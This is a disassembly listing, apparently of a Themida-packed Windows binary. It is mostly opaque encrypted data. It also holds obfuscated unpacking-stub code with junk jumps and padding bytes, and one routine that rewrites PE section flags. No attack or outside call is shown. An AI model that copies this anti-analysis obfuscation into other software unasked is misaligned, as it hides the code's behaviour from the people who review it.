dd 968C8096h, 5A76513Fh, 350299FFh, 0AEB126BFh, 58518F56h
dd 0EE6803DAh, 0EB36E26Dh, 0E3A33C79h, 0B5BD6841h, 0BEF6B91Eh
dd 5DA0B059h, 0A2583256h, 8B13256h, 0B98DC3E9h, 6050A9h
dd 6100F99Dh, 9C443E09h, 0BAB13284h, 59F6B9A3h, 857FB336h
dd 36C5AFBEh, 53BD6DDDh, 0D5B1A7BFh, 0EABADB56h, 3A6D3256h
dd 5C2993B6h, 3AD72E8Fh, 0E93ACEC6h, 57BADB52h, 85513256h
dd 0B1FA4D9Eh, 0E0B9DF9Bh, 79EEB930h, 0BAB0B959h, 76443256h
dd 0BA583609h, 88B13256h, 0BBE86623h, 1770CC8Dh, 0DBA1FD58h
dd 0E68BC343h, 39C6350Bh, 0DE4937BDh, 0A1B22229h, 57B10FD3h
dd 0A0585256h, 0F2B13256h, 0DC59817Dh, 0EFBEECE3h, 4C30AD3Ah
dd 446D83EBh, 0A23C3D37h, 58B13256h, 0ABB134D6h, 0D5313D56h
dd 0ABB13256h, 598A36h, 3D70D61h, 52D08F58h, 0AEB133D4h
dd 8E9AC756h, 0ABB122BFh, 307B0156h, 6DB810BAh, 3CCEE407h
dd 0E1ECCDA5h, 5DBDDB52h, 0AC463256h, 5B82F729h, 610B529Dh
dd 893809B0h, 0F9583357h, 7AB13256h, 0A155557Ch, 0D72312D2h
dd 207FFF01h, 971C6FA7h, 540970B5h, 0B54ECDA9h, 0EAB1BC59h
dd 0F4D73256h, 0DBB1EDA0h, 5DB137EFh, 542CB56h, 2168B336h
dd 0A4D9F33Bh, 3CD0C3E1h, 154ECF19h, 0C2B18336h, 43D053ACh
dd 5DB138BFh, 1DDBF056h, 4093482Fh, 20F4F65Bh, 5BBECE13h
dd 0EAB13267h, 75A5DB36h, 33323256h, 0D6D35BE6h, 546D2157h
dd 6201D730h, 61EEEEB0h, 0C458B63Fh, 48B13256h, 0F15C03CEh
dd 5828C54h, 0B58EEC33h, 5E370854h, 4358FB37h, 0B4B13256h
dd 4E33DF19h, 546D45AEh, 0E226AB3h, 0B95AB8E8h, 9EDA6EF2h
dd 0AEBCB959h, 0E8D13256h, 9F103C48h, 0D5B1B059h, 0BAD03256h
dd 75B120BFh, 90D39C56h, 0A50985AAh, 1835A33Ch, 0F3BB242Eh
dd 0FA248253h, 0D5B4DBA3h, 0D93256h, 268BCB26h, 0BAB1DAAAh
dd 0DCEB3256h, 0B67322BCh, 5D3F3D50h, 42B13256h, 0D5B13253h
dd 187D5B14h, 0EF3CC72Fh, 0BCA94A1Fh, 5DB6B959h, 0A1D13256h
dd 0AE3AC3E1h, 0AA313D37h, 20B13256h, 0EAB156EEh, 0FABE5256h
dd 0BAB13255h, 0D772B930h, 0F05953BDh, 58B13250h, 0ABB135D8h
dd 0D4323D56h, 12B13256h, 675839DDh, 0FFB13256h, 14A90E81h
dd 0B21F8DC0h, 3053B61Bh, 383C0FFAh, 0DC585208h, 0B3B13256h
dd 21FF12A6h, 657E11CEh, 0A5700937h, 0AEB19CBFh, 5E58C756h
dd 4CB13256h, 6F02229h, 88F7379Ch, 89B57955h, 38BEF36Dh
dd 5DB13299h, 0AEA9B959h, 44583256h, 4EB13256h, 0C2D577DEh
dd 81851199h, 2E074B21h, 5D669471h, 16B2D1AEh, 0AEBCDB46h
dd 4623256h, 844CBF79h, 10D633C1h, 0D1B6B43Dh, 55333D97h
dd 0B5B13256h, 5DB131D4h, 0CF445256h, 57A6DBAAh, 2CBE3256h
dd 0D5B1325Dh, 9657B236h, 33C7F8D7h, 53D0002Bh, 5DB132FEh
dd 0AE13DBAFh, 0D4BE3256h, 0ABB1325Ch, 0B3A5436h, 8205CDE8h
dd 0FEBE533Dh, 0BAB13241h, 5DB120BFh, 0DC457056h, 2F18AD74h
dd 533AA9C5h, 522A0D91h, 67AA1255h, 6CE4FBCCh, 0B0323D50h
dd 0B4B13256h, 0AEB13253h, 44D92D64h, 5262CD23h, 0D5B165BFh
dd 0E0393D56h, 15B13256h, 38BE49E0h, 5DB13256h, 0AEB8DB37h
dd 134E3256h, 9FE832ABh, 584FBBCFh, 0F3E9DDCCh, 75BFDB50h
dd 18473256h, 1EDD4C9Ch, 0FB70495Ah, 836D277Ch, 42D1E1A9h
dd 0D5B1325Bh, 60DA1B95h, 9560D560h, 0DB4F4985h, 5DB4DB33h
dd 0E9693256h, 360EBF47h, 42E8CE0Dh, 0D5B13245h, 8E67C690h
dd 2C88C9F8h, 0CF53E055h, 0A792E7AFh, 0F6F828D5h, 0A73A5436h
dd 4272CA37h, 0D5B1325Ah, 5827C0F5h, 4CE8EDF5h, 3320DB49h
dd 0B13ACE03h, 0AEB1DAAFh
dd 0D6EB3256h, 0B372CABCh, 0B5E05250h, 8AD06A37h, 75B135BEh
dd 0DAD64456h, 0CB6E510h, 0AEB120BFh, 0A3923D56h, 457B000Bh
dd 0E42CB78Eh, 0D00FAEh, 2B87D9F9h, 0BAB137BFh, 63750256h
dd 47D0CB98h, 57B13242h, 0A1D73BD5h, 0BEC36DC2h, 485D5713h
dd 8196FB8Eh, 72CE7D17h, 5DA9BE59h, 22BE3256h, 57B13244h
dd 0ABB13FBFh, 79E1B156h, 307486A2h, 0A6C6C717h, 0B5D16FF6h
dd 5DB13ED2h, 0A83B3D56h, 58B13256h, 0ABB132D3h, 9C0BBF56h
dd 0E5B72A2Eh, 75B133D5h, 0FF3AC756h, 5A38C75Eh, 0AEAABA59h
dd 0BED13256h, 0ABB13244h, 0D2584F57h, 49F2A3D5h, 27AB50E8h
dd 6DC27DD3h, 803B711Ch, 0A2F4B937h, 584FB936h, 0ABB132DCh
dd 92385356h, 0E4373D52h, 9CB13256h, 0BAB1325Fh, 2B9E6428h
dd 67E5970Ch, 47F4B90Dh, 0ABB135BFh, 5B15D756h, 4F048539h
dd 15BD75DFh, 3ABEEBDCh, 5DB13254h, 25D06C01h, 0DE442613h
dd 27BE2211h, 0D5B13251h, 0EAB0B459h, 9C493256h, 0BAB1325Ah
dd 3E0D9DF3h, 0F46FF4BEh, 0E01B74ABh, 73315237h, 63A547Dh
dd 2849FB37h, 7AD13246h, 0BAB130D5h, 3BD05256h, 0CF7840EEh
dd 0EDD75236h, 0A5587F2Dh, 0C5B13256h, 2F7743BDh, 0F1E2A8D2h
dd 0C9D3334Eh, 0D87753CEh, 0A8A31A27h, 4DD9CB11h, 0CB192525h
dd 0B3D161E4h, 825CFBD7h, 14D0C1DDh, 0BAB13DBFh, 0C36AC256h
dd 0B465268h, 3E1AFD79h, 7BDBD38Dh, 0E55887A9h, 0E2583444h
dd 33B13256h, 43FF726h, 0B4ACF2F1h, 0AEB1325Ah, 759E7020h
dd 6D7EA6ECh, 299E8ECDh, 9584B7DBh, 7B583443h, 80B13256h
dd 0A15FEEDh, 0F5811FE1h, 44E957BFh, 5361CD73h, 0B3D160AFh
dd 2618BE8h, 75B13246h, 216FDBD4h, 1BA78E42h, 0A4B59D6Bh
dd 0D32FB30Ch, 0CAE95336h, 0ACC2B8DBh, 64BE344Eh, 75B13257h
dd 0A95952AEh, 5DB13256h, 84679C6h, 0ACCCF971h, 0FB594F70h
dd 93AA0C8Dh, 5DBE69FEh, 15D16C8Eh, 0FD7FB337h, 3CD91FE7h
dd 47D16337h, 57B13251h, 4883BEACh, 3C047022h, 0EAB13258h
dd 2C782098h, 33E83DA5h, 47143AE8h, 51D0B90Dh, 0D9BE5286h
dd 0ABB13241h, 0D5B120BFh, 98813C56h, 65E5B470h, 0CB79F2DAh
dd 5F391ED3h, 0C82393CCh, 0FEF0C1D7h, 0ABBBDB37h, 0E7763256h
dd 83FCD98Ah, 0AD180D73h, 31D7520Ch, 1640B381h, 0CF9E37C3h
dd 2EC2B0DBh, 25BE344Eh, 0D5B13243h, 0EAB122BFh, 5C2DE356h
dd 797B6B68h, 56DFDFD5h, 5ACE59CAh, 17063D4Fh, 0ABA3DB5Ah
dd 92703256h, 1890EE26h, 38D47E2Ah, 37E678E5h, 0CDD0D1E3h
dd 0AEA2DB36h, 4A1F3256h, 0F2CAF60Dh, 458B2EBBh, 19113B33h
dd 0E72BAF72h, 0BAB4DB3Ah, 125D3256h, 0CF5B6626h, 5C58EADDh
dd 0F7B13256h, 57171AABh, 6D708F30h, 15E3718Fh, 0BAB3BA59h
dd 933A3256h, 0A1D033E5h, 29085267h, 11FDBC39h, 0BA4863EBh
dd 8BD16837h, 0FC4DF155h, 0A8BDBBD4h, 503D3D50h, 47B13256h
dd 57B1325Eh, 9FA778A6h, 0F734756Ah, 0EAB123BFh, 5B708056h
dd 0A0B6C889h, 5A2E9293h, 57F4957Fh, 0A2D0D6D3h, 0ABA0DB95h
dd 0DADA3256h, 0A4E53637h, 0C3749A16h, 0FD22D609h, 51763B34h
dd 6052F9F8h, 595E5752h, 14E9h, 25D4400h, 5169B1DDh, 0D2AA53E0h
dd 0A095BFA3h, 6E177D8Fh, 8C0F61EDh, 1, 0E8FCh, 815A0000h
dd 18C780EAh, 8B606006h, 616160C1h, 46C88166h, 0EE9613Fh
dd 21000000h, 65310065h, 12047710h, 54D8E7F7h, 9E95232h
dd 4D000000h, 57A56F8Ch, 4FFEA14Eh, 0C89828Bh, 66600612h
dd 24B1F681h, 4E6DB961h, 0F7F541C6h, 15860FE1h, 0E9000000h
dd 10h, 111CB279h, 0D5F41BF4h, 96CEC5B0h, 6255C966h, 19830F5Ah
dd 0E9000000h, 14h, 0C64E223Bh, 4746D054h, 82511B3Fh, 5696D17h
dd 4F0898A3h, 303905h, 13E900h, 53850000h, 51A10BF9h, 0EE2B14E8h
dd 6530176Fh, 2DD69FE9h, 19880F19h, 0E9000000h, 14h, 9BA7CFDBh
dd 0F5F6D2AFh, 5480F986h, 0FB19983Ah, 35D1C242h, 0FFFFFF25h
dd 7E97Fh, 9A8C0000h, 6F0FD98Bh, 898289EEh, 0E906120Ch
dd 10h, 0A87B1583h, 13DD84B6h, 53E79898h, 0E1DA6543h, 850F5AF5h
dd 11h, 0CE9h, 56365B00h, 21A71537h, 0B001D64Bh, 860F5951h
dd 15h, 0F810Fh, 0AE90000h, 85000000h, 222462D8h, 33F04211h
dd 0EE9C3C9h, 0FC000000h, 23CD6A9Ch, 58FEC032h, 0A4DF1882h
dd 66605138h, 0EE8CF8Bh, 50000000h, 6FA035F2h, 9C3BC1E9h
dd 0A76E317Bh, 0CEBF0F30h, 0F52615Fh, 18Ah, 0E8F500h, 5A000000h
dd 0C8E1EA81h, 8B600618h, 61F38BCAh, 1890FFCh, 0FC000000h
dd 0BE9C88Bh, 9A000000h, 0D02FE09Dh, 5B2FB1EBh, 44E84CCEh
dd 0F5FFFFFEh, 118D0Fh, 830F0000h, 0Bh, 6E9h, 4C8BFF00h
dd 33942A4Ah, 0F1F7F5D2h, 12E960h, 39E30000h, 27665C31h
dd 6F2A470Bh, 44508B53h, 0CF308ACh, 0E890Fh, 8E80000h
dd 9B000000h, 0FA7AE1CBh, 59218F94h, 0E9C28B61h, 6, 113154EDh
dd 605A6637h, 0B9D6B70Fh, 18E2B6C9h, 0C3F95961h, 18E0Fh
dd 8BF50000h, 0C08BFCC0h, 0AE9h, 0FE752900h, 961F40BBh
dd 8DFBD4C5h, 188EAE85h, 11E906h, 81990000h, 838F8623h
dd 0E79257D9h, 23FE2D4Dh, 0E9259B15h, 0Dh, 91A609C3h, 5F79BE08h
dd 0F27AA981h, 0F5D0FF27h, 60C18B66h, 0EEEBB851h, 0BA586647h
dd 44015076h, 12E961h, 44740000h, 9C7216D0h, 0B8538E00h
dd 58785864h, 2ED1ED2Ch, 0C751858Dh, 0E8600618h, 0Eh, 25150DEEh
dd 7A3C1953h, 0FD489517h, 0E95B30FCh, 10h, 1CC24FEEh, 82FC2741h
dd 0C7E73C54h, 0E3FC9674h, 0C1858961h, 0F06120Dh, 18Eh
dd 8E9F800h, 0DB000000h, 5BD74A33h, 8DF1A996h, 18C8B785h
dd 6660F506h, 0FCF6F681h, 613FF480h, 9B98589h, 0F8600612h
dd 5E9h, 99345900h, 0B861FE89h, 0
; ---------------------------------------------------------------------------
pusha
jmp loc_5B3480
; ---------------------------------------------------------------------------
dw 1CB9h
; ---------------------------------------------------------------------------
inc esi
jmp short loc_5B349A
; ---------------------------------------------------------------------------
db 0ABh
dd 6E532419h
; ---------------------------------------------------------------------------
loc_5B3480: ; CODE XREF: Themida_:005B3471j
popa
jge loc_5B349C
jmp loc_5B349C
; ---------------------------------------------------------------------------
mov eax, ds:5E748FA1h
push 0FFFFFFC7h
shr dword ptr [ecx-7Fh], 93h
xchg eax, edx
retf
; ---------------------------------------------------------------------------
db 0BEh
; ---------------------------------------------------------------------------
loc_5B349A: ; CODE XREF: Themida_:005B3479j
pop edx
; ---------------------------------------------------------------------------
db 0DDh
; ---------------------------------------------------------------------------
loc_5B349C: ; CODE XREF: Themida_:005B3481j
; Themida_:005B3487j
or eax, eax
jz loc_5B35D8
clc
mov byte ptr [ebp+6122871h], 56h
jns loc_5B34C3
jmp loc_5B34C3
; ---------------------------------------------------------------------------
db 46h
dd 2CDC8D5Ch, 0C83AA411h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 9Ch, 2Bh
; ---------------------------------------------------------------------------
loc_5B34C3: ; CODE XREF: Themida_:005B34ACj
; Themida_:005B34B2j
push 0A9C530DFh
jno loc_5B34E6
jmp loc_5B34E6
; ---------------------------------------------------------------------------
db 16h
dd 0EA7E2040h, 4EB48736h, 2EEBE760h, 81C67561h
db 52h, 9Ah
; ---------------------------------------------------------------------------
loc_5B34E6: ; CODE XREF: Themida_:005B34C8j
; Themida_:005B34CEj
push dword ptr [ebp+61230E9h]
jg loc_5B3507
pusha
stc
call sub_5B3505
bound ecx, [ecx]
mov dword ptr [esi-37DB7FD7h], 0F5BA0D85h
; =============== S U B R O U T I N E =======================================
sub_5B3505 proc near ; CODE XREF: Themida_:005B34F4p
var_2E = dword ptr -2Eh
var_28 = dword ptr -28h
; FUNCTION CHUNK AT 0055B50E SIZE 00000061 BYTES
; FUNCTION CHUNK AT 0055BC03 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055DDB6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00560F2A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056376A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00564F15 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056B5BC SIZE 00000007 BYTES
pop eax
popa
loc_5B3507: ; CODE XREF: Themida_:005B34ECj
lea eax, [ebp+6157F35h]
jmp loc_5B3518
; ---------------------------------------------------------------------------
dw 0AC94h
dd 0EC1ABC78h
; ---------------------------------------------------------------------------
loc_5B3518: ; CODE XREF: sub_5B3505+8j
call eax
jb loc_5B3526
pusha
cld
mov cx, dx
popa
loc_5B3526: ; CODE XREF: sub_5B3505+15j
push eax
pusha
popa
lea ecx, [ebp+6120A11h]
jnz loc_5B3536
cld
loc_5B3536: ; CODE XREF: sub_5B3505+2Aj
push ecx
jns loc_5B3544
pusha
add bl, 8Ah
push eax
pop ecx
popa
loc_5B3544: ; CODE XREF: sub_5B3505+32j
push 4
jmp loc_5B3555
; ---------------------------------------------------------------------------
db 0B3h
dd 94F932D2h, 0A780A2C4h
db 22h
; ---------------------------------------------------------------------------
loc_5B3555: ; CODE XREF: sub_5B3505+41j
push 1000h
pusha
push edi
mov edx, edi
pop eax
jz loc_5B3566
cmc
loc_5B3566: ; CODE XREF: sub_5B3505+5Aj
popa
push dword ptr [ebp+6120895h]
clc
jmp loc_5B3581
; ---------------------------------------------------------------------------
db 9Ch
dd 0F25B83F1h, 550DAEDEh, 41FD374Eh
db 36h
; ---------------------------------------------------------------------------
loc_5B3581: ; CODE XREF: sub_5B3505+69j
call eax
jg loc_5B358F
pusha
mov edx, ecx
mov ebx, eax
popa
loc_5B358F: ; CODE XREF: sub_5B3505+7Ej
mov edi, [ebp+6120895h]
cmc
add edi, [edi+3Ch]
jmp loc_5B35AB
; ---------------------------------------------------------------------------
dw 0C7B3h
dd 60A8B530h, 0EA63B6B1h
db 0B9h, 0FBh, 22h
; ---------------------------------------------------------------------------
loc_5B35AB: ; CODE XREF: sub_5B3505+94j
add edi, 0F8h
jmp loc_5B35C7
; ---------------------------------------------------------------------------
dw 0AEE5h
dd 0BEAFF76Ah, 48683ED6h, 428156h
db 34h, 76h, 1
; ---------------------------------------------------------------------------
loc_5B35C7: ; CODE XREF: sub_5B3505+ACj
mov dword ptr [edi+24h], 60000020h
pusha
mov ecx, 4A25A192h
movzx edi, ax
popa
loc_5B35D8: ; CODE XREF: Themida_:005B349Ej
lea ebx, [ebp+6122AA1h]
jmp loc_5B35EE
; ---------------------------------------------------------------------------
db 87h
dd 0BC40A204h, 3F179482h
db 0ABh, 79h
; ---------------------------------------------------------------------------
loc_5B35EE: ; CODE XREF: sub_5B3505+D9j
mov eax, [ebx]
pusha
popa
or eax, eax
jz loc_5B3617
pusha
mov ah, 43h
sbb si, 9457h
popa
mov eax, [eax]
jbe loc_5B3613
jl loc_5B3613
pusha
popa
loc_5B3613: ; CODE XREF: sub_5B3505+100j
; sub_5B3505+106j
mov [ebx+4], eax
clc
loc_5B3617: ; CODE XREF: sub_5B3505+EFj
mov ecx, 234CF6h
jmp loc_5B362D
; ---------------------------------------------------------------------------
db 17h, 10h, 83h
dd 48h, 0
db 0
; ---------------------------------------------------------------------------
loc_5B362D: ; CODE XREF: sub_5B3505+117j
jmp loc_5B40D3
; ---------------------------------------------------------------------------
push 618CDA0h
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 618CEA1h
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 618D06Ah
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 618D15Eh
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 618D2DFh
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 618D441h
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 618D51Bh
jmp loc_55B50E
; ---------------------------------------------------------------------------
dd 23DBC3DFh, 22DACCD9h, 20D8CED8h, 1CD4CAD6h, 1DD5D1D2h
dd 5F44C3ADh, 5A458F47h, 62428C44h, 5F428C44h, 6C67873Fh
dd 9965AE56h, 0A825A3B3h, 0EA7A247Dh, 0A55D4160h, 0B0A16091h
dd 0A93BE1F7h, 7B2EB581h, 0A5F8A6FBh, 0C5F99EB4h, 0FE5EBB93h
dd 947101A5h, 209EA6DDh, 5C2FE4C1h, 25B074CCh, 0B7EA4C6Ch
dd 0D8CD57E7h, 0C1833ECEh, 0BF10758h, 3E4C6C25h, 6A66B88Bh
dd 2F0255F1h, 0C4436A42h, 5CC1A733h, 0B97BCE81h, 2Eh, 0C386B304h
dd 0C10FBCD2h, 9CE4BB93h, 2C099905h, 0C1DB3775h, 255D3F7h
dd 0C21AAA5Dh, 4C6C1366h, 55F16A66h, 6A420502h, 0CA72h
dd 247DBD00h, 4360EA7Ah, 0FEA8FD45h, 81A948B0h, 774AFDB5h
dd 5A445DE7h, 23832169h, 0EBB640D0h, 77E3FBB3h, 8BB581AEh
dd 18978816h, 34D06A46h, 0EBBBE9C0h, 520DC518h, 0E9D8399h
dd 39D04A7Eh, 0F6285D4h, 57AA7D78h, 44D4CAD7h, 0F00C3F0h
dd 6CE590F9h, 5A12C544h, 65563546h, 8C1C821Dh, 556B5CAFh
dd 427B18A2h, 48B0C697h, 0FD465908h, 3E86774Ah, 3F894165h
dd 0FD844264h, 0EF3ADCEDh, 89A7F57h, 851D0000h, 8E176119h
dd 90166018h, 8C145E16h, 93105A12h, 85EB5B13h, 0CD852182h
dd 0CA821C83h, 0CA822480h, 0C57D2180h, 6C94AAA5h, 0E1B39964h
dd 0C40CE663h, 5936C6E0h, 49D9CDD9h, 0A99196Ch, 79AE49Ch
dd 0B382DF97h, 19D2C386h, 0C088429Ah, 586EDE1Eh, 0B581DCB0h
dd 0CC1FF2A5h, 93B4CD7Eh, 0D7EDA6BBh, 4C6FF431h, 791E7124h
dd 148DD5C6h, 0ACA7378Ah, 0F437DDF3h, 772A4C6Fh, 0F412D624h
dd 7E7A4C6Fh, 61EE69E5h, 0CA866A41h, 0D1000000h, 0EA7A247Dh
dd 0D3634360h, 81AEDF7Bh, 207E23B5h, 4165AD68h, 0E3BBE565h
dd 0A3237653h, 0BC10A0FEh, 0C5DBCC8Fh, 446C51DCh, 1226DE91h
dd 722C75E1h, 413205E2h, 7BAFFF2Bh, 0DACB7E42h, 0D0D00B5Bh
dd 6340D0D6h, 0DF9B81ACh, 0E0535628h, 4C9F2331h, 495AA25Bh
dd 13C3293Fh, 0C3764658h, 308360F0h, 0FBB3F3B0h, 0F6B4F2B1h
dd 3ADDF665h, 99E7BF57h, 1E000007h, 18621A84h, 1761198Dh
dd 155F178Fh, 115B138Bh, 0EC5C1492h, 84228184h, 811D82CCh
dd 81257FC9h, 7C227FC9h, 93A9A4C4h, 0B399676Dh, 7DE562E0h
dd 0DC88026h, 843C068Eh, 0D9EF1AABh, 0B581A933h, 20A07326h
dd 4CCC1F7Fh, 0D6914955h, 0AACE3057h, 4EA14E43h, 7A247DBBh
dd 5D4160EAh, 0A16091A5h, 0C7559AB0h, 6EB6BB93h, 0BDE1BE33h
dd 0ED7D502Dh, 6518BD10h, 64564BD5h, 386047D6h, 0EEB8EDF6h
dd 2EAE815Eh, 0A35B2E78h, 22384859h, 4C6C75FAh, 59E9BC6Fh
dd 2A100401h, 65FEFAC5h, 0FAB2ECB5h, 8870863Fh, 0BDC72610h
dd 6A37B70Ah, 9B4CA434h, 0FBC72610h, 138E42D7h, 1889D38Bh
dd 7CFBF686h, 0BB4F39D5h, 0F8AD2DF5h, 0EE411EAEh, 267443A0h
dd 6BF012C7h, 0A8F7FAA7h, 216B23F6h, 2EA0080h, 25C72674h
dd 607331E5h, 7629CE56h, 0B2BF13A3h, 996DECFh, 29440595h
dd 425CA3EEh, 0FB30E7BAh, 3C5D8908h, 657B6CBFh, 0C934C54Ch
dd 216CE81h, 0B2112F1h, 0D707548Eh, 146CFCAFh, 0D30374D3h
dd 0A6A6BBB7h, 0FDACDDB1h, 390C3h, 0C40C0E00h, 7435C5E1h
dd 3E2C62A2h, 86D9AC1Ch, 732C5BFCh, 0DF2D792Bh, 0B581AB39h
dd 0D8F24A1Ah, 0A64B8BEDh, 2556A0F3h, 476FC948h, 5B3CE9E9h
dd 81BAE70Dh, 0D4A75AB5h, 0C188CDE3h, 0FAADBB93h, 97343040h
dd 6F9CCF7Dh, 58A5BBACh, 0C1C34CC2h, 6FA5E142h, 388B511Dh
dd 70EFE093h, 3173C0F9h, 0BC4C9F35h, 2B9B42C1h, 0DD5B5315h
dd 40F7AB95h, 5EB1CB3Fh, 3324E714h, 5B88041Dh, 7B6EEDC9h
dd 9CA0552h, 7D30D528h, 415D448Ch, 3C623F89h, 0B3A3E37Eh
dd 653DD5A5h, 5D0h, 2BE3BBE7h, 2AE2C4E1h, 28E0C6E0h, 24DCC2DEh
dd 25DDC9DAh, 574CBBB5h, 524D974Fh, 5A4A944Ch, 574A944Ch
dd 746F8F47h, 9979B65Eh, 0B02DABB3h, 0D2C386B3h, 4E2C9A19h
dd 37EEB8EDh, 0B508C896h, 93A8A667h, 8C1CCFBBh, 6FFF9F02h
dd 56E6C0E5h, 7E22D7CCh, 0E0B39020h, 47DC0050h, 900E93h
dd 7C805023h, 795869E7h, 96AD7288h, 27DA427Dh, 227C256Fh
dd 5990892h, 18012575h, 0AA3C847h, 96E23431h, 0C0DEC343h
dd 3665F208h, 620F7053h, 5A000002h, 0C4E2C40Ch, 0BA045734h
dd 0C3D9CA89h, 0BB9A7550h, 0A8615205h, 669D6A92h, 227FDF4Ch
dd 3C0FEC7Ch, 0F3B0F8E9h, 1B43C2B3h, 28569991h, 6FB971C4h
dd 39817234h, 20AA3A6Ch, 5C4D2086h, 66A7DE46h, 8DE0934Ch
dd 0E7BA02FDh, 0F74A27B7h, 66A77EA9h, 1D81204Ch, 0E342865Fh
dd 3C14AC30h, 4DCh, 1FD7C7DBh, 1ED6D0D5h, 1CD4D2D4h, 18D0CED2h
dd 19D1D5CEh, 6340C7A9h, 5E418B43h, 663E8840h, 633E8840h
dd 6863833Bh, 9978AA52h, 0A4219FB3h, 0D2C386B3h, 0D0CED119h
dd 75C42F7Dh, 0BE71BB9Ah, 83FDA42Eh, 669D876Dh, 0E1C5DF4Ch
dd 0FEB6893Ch, 21B1EDB4h, 4940A97h, 478B90B4h, 0F69B605Ah
dd 902C3229h, 0FD13CCBDh, 4C66AB17h, 8C44974Ah, 48BCE176h
dd 4CE5646Ah, 0A925CA24h, 16881797h, 9456A986h, 179h, 7A247DDFh
dd 41654189h, 0CDE3D4B1h, 0B581A927h, 8414671Ah, 3FF7A7FAh
dd 4A3B1E2Bh, 93C54334h, 0B141F4BBh, 6C4D8F59h, 1801FD4Ch
dd 2A4FF47h, 0D6F463AFh, 0D2516A41h, 41F44376h, 0A8BEAFECh
dd 4C6C7A40h, 2DEF42F5h, 3Ah, 51949B1Ah, 2C26BA0Eh, 86B346D9h
dd 86169016h, 0CFE5D6A9h, 0BB93C172h, 0D0B0AC43h, 0BA704C2Eh
dd 145C57E7h, 72C0138Bh, 4C6CAFB6h, 5011A16h, 6A42B852h
dd 0B422h, 247D6D00h, 4360EA7Ah, 0C4F37263h, 881E85C5h
dd 0E0641BF8h, 6FFF527Eh, 2C7A2C74h, 0A94859D9h, 992CC8FAh
dd 634C01AAh, 0A32DBD90h, 0D0E8A0FEh, 0B5818D62h, 0D7C82978h
dd 58C0D6C7h, 0DB581B7h, 14CF875Ah, 871FDACCh, 0DFB28F1Fh
dd 6CBB724Fh, 70DFF69Bh, 93A0EA3Dh, 0FBA9BFB0h, 7EBB9652h
dd 1192DACBh, 1093DD95h, 1079D896h, 831B30EFh, 35BABh
dd 58465C00h, 574F56A0h, 5551559Fh, 514D539Dh, 52544F99h
dd 0BF462A9Ah, 0C00AC2E4h, 0BD07BFDFh, 0BD07BFE7h, 0E202BAE4h
dd 7B2BD1E7h, 0A01EB399h, 0DDC40C23h, 15431C1h, 0CC842281h
dd 0C77F1F82h, 7A247D6Ah, 0FAA7EFEAh, 0E43714A4h, 0A9613D64h
dd 0B4A56495h, 93D7859Eh, 7707BABBh, 6C7AC71Fh, 0B0A9CD4Ch
dd 0B5A66596h, 82847DFCh, 5E6AD402h, 285747C9h, 70C39616h
dd 7E6B0922h, 0D38B3E42h, 7A247D76h, 5D4160EAh, 0A16091A5h
dd 663868B0h, 6B0C2213h, 0CCBB93C5h, 0B3F3B3FBh, 6C4DBF65h
dd 2CFFB24Ch, 0F3B3F33Bh, 0A3338663h, 6C4D994Bh, 6EF3EF4Ch
dd 41D679DEh, 2FFB6Ah, 0B3460000h, 19D2C386h, 0A9A24A60h
dd 0E497B581h, 0C1864391h, 4B7BB93h, 41C81C74h, 0CDC04C6Ch
dd 35881E85h, 3126263Bh, 436A41D7h, 0C6h, 7A247D8Eh, 634360EAh
dd 465849D3h, 0A940D55h, 732C27B7h, 8E7400F4h, 0BB09FB9Bh
dd 0B5810855h, 0D1D55508h, 156845D5h, 0DA920C95h, 810F10C2h
dd 67376AB5h, 0ADA1F776h, 0E705791Bh, 0F92DC94h, 52E2C4E2h
dd 0BE12A275h, 0C7DDCE8Dh, 0BB9360B2h, 24822383h, 2CE4B794h
dd 3728EB18h, 78D24921h, 5849FC42h, 5B139310h, 56149211h
dd 3ADD97FDh, 0F91FF78Fh, 0BE000001h, 0B802BAE4h, 0B701B9EDh
dd 0B5FFB7EFh, 0B1FBB3EBh, 8CFCB4F2h, 248221E4h, 217D226Ch
dd 21851F69h
dd 1C821F69h, 33494464h, 0B3997DCDh, 7D850280h, 7EC88026h
dd 428A7B23h, 37EF4264h, 8775FD7Ch, 1181C1F3h, 81C115FBh
dd 0C29548B5h, 86B3DC6Fh, 0FBCD2C3h, 30BB93C1h, 5395ED7Dh
dd 394C6C41h, 91778D46h, 0C44C6C41h, 94129111h, 32D24741h
dd 6A41D725h, 0AD4Fh, 247D9A00h, 6241897Ah, 0D761F144h
dd 0F24ADACCh, 0B581AE40h, 36C3E129h, 1164376Fh, 0D68E1091h
dd 0F989158Ch, 0C4B594A5h, 6C30D5AEh, 0FFB76A44h, 0AFBDEEBh
dd 7B8E19F4h, 8A7B2E42h, 8D456142h, 1D0319D2h, 50465886h
dd 1FF2B4F0h, 0F9F079Fh, 445FDF32h, 63A1A462h, 3BD33ADDh
dd 11F63h, 940A9800h, 931392DCh, 911591DBh, 8D118FD9h
dd 8E188BD5h, 0FB0A66D6h, 0FC46FEA8h, 0F943FBA3h, 0F943FBABh
dd 1E3EF6A8h, 7CE70D23h, 0DC5AB399h, 80267D5Fh, 0CE237EC8h
dd 603DCDD1h, 4D549C8Dh, 0CFCFD151h, 570F623Fh, 514D549Ch
dd 8D0C6BFEh, 791E8FA0h, 40663E9Bh, 0AD00D3B0h, 9A2A742Dh
dd 550D9110h, 60513041h, 9A37AB4Ah, 758B44BBh, 4C66DF8Fh
dd 17BC0FC2h, 0A4BA7364h, 4C66DF7Ch, 5BEB3EF1h, 7F21D0D1h
dd 0A1058F1Fh, 0A75F3205h, 8A76DECh, 0B497D21h, 2BE2A484h
dd 378A061Ch, 0C3B4EAB7h, 350CF40Ah, 8E414C66h, 0EE53AB3Bh
dd 0A8FDFAECh, 39F2B7ACh, 0CA7CFD23h, 980E951Eh, 6DED40F3h
dd 0F7B26A34h, 21B1F5AFh, 99418D44h, 5CACEABFh, 68188909h
dd 0CAEAAA52h, 19EC9F1Eh, 0FDA1FF89h, 8A8F936Dh, 52435B46h
